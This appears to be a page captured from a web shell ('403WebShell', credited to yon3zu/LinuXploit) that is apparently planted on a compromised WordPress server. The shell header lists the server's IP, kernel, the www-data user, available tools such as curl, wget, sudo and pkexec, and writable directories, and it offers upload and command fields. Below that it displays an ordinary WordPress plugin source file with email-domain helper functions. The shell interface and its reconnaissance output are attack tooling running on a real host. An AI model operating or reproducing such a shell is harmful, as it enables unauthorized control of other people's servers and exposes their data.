Uname:Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64

403WebShell
403Webshell
Server IP : 13.126.101.145  /  Your IP : 216.73.217.50
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-11-115-0-196 6.8.0-1039-aws #41~22.04.1-Ubuntu SMP Thu Sep 11 10:54:48 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rentals_updated/wp-content/plugins/wpo365-login/Core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rentals_updated/wp-content/plugins/wpo365-login/Core/Domain_Helpers.php
<?php

namespace Wpo\Core;

use \Wpo\Services\Log_Service;
use \Wpo\Services\Options_Service;

// Prevent public access to this script
defined('ABSPATH') or die();

if (!class_exists('\Wpo\Core\Domain_Helpers')) {

    class Domain_Helpers
    {

        /**
         * Gets the domain (host) part of an email address.
         * 
         * @since 3.1
         * 
         * @param   string  $email_address  email address to analyze
         * @return  string  Returns the email address' host part or an empty string if
         *                  the email address appears to be invalid
         */
        public static function get_smtp_domain_from_email_address($email_address)
        {
            $smpt_domain = '';

            if (filter_var(trim($email_address), FILTER_VALIDATE_EMAIL) !== false) {
                $smpt_domain = strtolower(trim(substr($email_address, strrpos($email_address, '@')  + 1)));
            }

            return $smpt_domain;
        }

        /**
         * Checks a user's smtp domain against the configured custom and default domains
         * 
         * @since 4.0
         * 
         * @return boolean true if a match is found otherwise false
         */
        public static function is_tenant_domain($email_domain)
        {
            $custom_domain = array_change_key_case(array_flip(Options_Service::get_global_list_var('custom_domain')));
            $default_domain = Options_Service::get_global_string_var('default_domain');

            if (array_key_exists($email_domain, $custom_domain) || strtolower(trim($default_domain)) == $email_domain) {
                return true;
            }

            return false;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit